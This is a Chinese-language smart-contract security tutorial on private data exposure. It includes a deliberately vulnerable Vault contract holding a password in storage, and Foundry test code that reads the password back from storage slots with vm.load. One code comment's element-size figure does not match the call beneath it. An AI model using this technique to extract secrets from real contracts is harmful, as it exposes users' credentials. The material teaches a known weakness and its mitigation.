区块链安全常见的攻击分析——私有数据泄露 (Private Data Exposure)【7】
区块链安全常见的攻击分析——私有数据泄露 Private Data Exposure【7】
- 1.1 漏洞分析
- 1.2 漏洞合约
- 1.3 攻击分析
- 结果
- 1.4 攻击合约
- 1.5 知识点:槽位 slot
- 存储规则:
- 示例存储分析:
- 变量存储位置:
- 如何获取槽位数据:
- 存储槽位计算:
name: 私有数据泄露 (Private Data Exposure)
重点: 变量直接存储在链上,而链上的所有数据(无论是 public 还是 private)都可以被直接读取。因此,用户的密码缺乏安全性,容易被恶意行为者获取。利用vm.load() 或类似的链上存储读取方法,可以直接获取存储数据,从而轻松获取用户的 password。
如果不理解槽位slot可以先学习一下目录里1.5 知识点
1.1 漏洞分析
password直接存储在链上,所有存储在链上的数据(无论是 public 还是 private)都可以被读取。因此,用户的密码并不安全,容易被恶意行为者获取。
1.2 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
名称: 私有数据泄露 (Private Data Exposure)
描述:
Solidity 将合约中定义的变量存储在槽位(slot)中。每个槽位最多可以容纳 32 字节或 256 位。
由于所有存储在链上的数据(无论是 public 还是 private)都可以被读取,因此可以通过预测私有数据在 Vault 合约中的存储槽位,读取其中的私有数据。
如果在生产环境中使用 Vault 合约,恶意行为者可能会使用类似技术访问敏感信息,例如用户密码。
缓解措施:
避免在链上存储敏感数据。
参考:
https://quillaudits.medium.com/accessing-private-data-in-smart-contracts-quillaudits-fe847581ce6d
*/
contract Vault {
// slot 0
uint256 private password;
constructor(uint256 _password) {
password = _password;
User memory user = User({id: 0, password: bytes32(_password)});
users.push(user);
idToUser[0] = user;
}
struct User {
uint id;
bytes32 password;
}
// slot 1
User[] public users;
// slot 2
mapping(uint => User) public idToUser;
function getArrayLocation(
uint slot,
uint index,
uint elementSize
) public pure returns (bytes32) {
uint256 a = uint(keccak256(abi.encodePacked(slot))) +
(index * elementSize);
return bytes32(a);
}
}
1.3 攻击分析
通过vm.load()直接获取链上数据
- 可以获取user数组中user结构体内的password
- 也可以直接读取 password 存储的槽位 0
结果
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "./Privatedata.sol";
contract ContractTest is Test {
Vault PrivatedataContract;
address Koko;
address Aquarius;
function setUp() public {
PrivatedataContract = new Vault(211233);
Koko = vm.addr(1);
Aquarius = vm.addr(2);
// vm.deal(address(Koko), 1 ether);
// vm.deal(address(Aquarius), 1 ether);
}
function testPrivatedata() public {
vm.prank(Koko);
bytes32 leet = vm.load(
address(PrivatedataContract),
bytes32(uint256(0))
);
console.log(uint256(leet));
// users in slot 1 - length of array
// starting from slot hash(1) - array elements
// slot where array element is stored = keccak256(slot)) + (index * elementSize)
// where slot = 1 and elementSize = 2 (1 (uint) + 1 (bytes32))
bytes32 user = vm.load(
address(PrivatedataContract),
PrivatedataContract.getArrayLocation(1, 1, 1)
);
console.log(uint256(user));
}
function testPasswordSlot() public {
// 读取 password 存储的槽位 0
bytes32 password = vm.load(
address(PrivatedataContract),
bytes32(uint256(0))
);
console.log("Password stored in slot 0:", uint256(password));
}
}
1.5 知识点:槽位 slot
存储规则:
- 状态变量顺序:
- 状态变量按其定义顺序依次存储在存储槽(slot)中。
- 每个槽的大小为 256 位(32 字节)。
- 如果变量大小小于 256 位(例如
uint128
或bool
),多个变量可能共享一个槽。
- 动态数组和映射:
- 动态数组和映射本身占用一个槽,存储的是其内容的起始位置的哈希值。
- 数组元素和映射值存储在独立的哈希槽中。
- 结构体:
- 结构体的每个成员按顺序分配存储,类似于多个状态变量。
示例存储分析:
假设合约如下:
contract Vault {
uint256 private password; // slot 0
struct User {
uint256 id; // slot 1 (in storage for arrays/mappings)
bytes32 password; // slot 2 (in storage for arrays/mappings)
}
User[] public users; // slot 1 (base slot for dynamic array)
mapping(uint256 => User) public idToUser; // slot 2 (base slot for mapping)
constructor(uint256 _password) {
password = _password;
User memory user = User({id: 0, password: bytes32(_password)});
users.push(user); // Stored starting from keccak256(slot 1)
idToUser[0] = user; // Stored starting from keccak256(0 + slot 2)
}
}
变量存储位置:
password
(slot 0):- 存储在槽位 0,因为它是合约中定义的第一个变量,占用完整的 256 位。
users
动态数组 (slot 1):- 动态数组的起始槽存储在槽位 1。
- 数组内容从
keccak256(slot 1)
开始的槽位存储。
idToUser
映射 (slot 2):- 映射的基础槽位是 2。
- 映射中的每个键值对存储在
keccak256(键 + slot 2)
。
如何获取槽位数据:
-
通过
getStorageAt
读取存储数据: 使用 Solidity 或工具(如 Foundry 的vm.load
)读取指定槽位的数据。 -
Foundry 示例:
contract VaultTest is Test { Vault vault; function setUp() public { vault = new Vault(123456); } function testStorage() public { // 读取槽位 0 的存储数据 bytes32 slot0 = vm.load(address(vault), bytes32(uint256(0))); console.log("Password (slot 0):", uint256(slot0)); // 读取数组起始槽位 1 的哈希值 bytes32 arraySlot1 = vm.load(address(vault), bytes32(uint256(1))); console.log("Array base slot 1:", arraySlot1); // 读取映射键 0 的哈希槽 bytes32 mapSlot = keccak256(abi.encodePacked(uint256(0), uint256(2))); bytes32 userInMapping = vm.load(address(vault), mapSlot); console.log("Mapping data:", userInMapping); } }
存储槽位计算:
- 单变量:
- 按声明顺序从槽位 0 开始。
- 动态数组:
- 数组本身的基础槽位存储数组长度。
- 元素从
keccak256(基础槽位)
开始依次存储。
- 映射:
- 每个键值对的存储槽 =
keccak256(abi.encodePacked(键, 映射基础槽位))
。
- 每个键值对的存储槽 =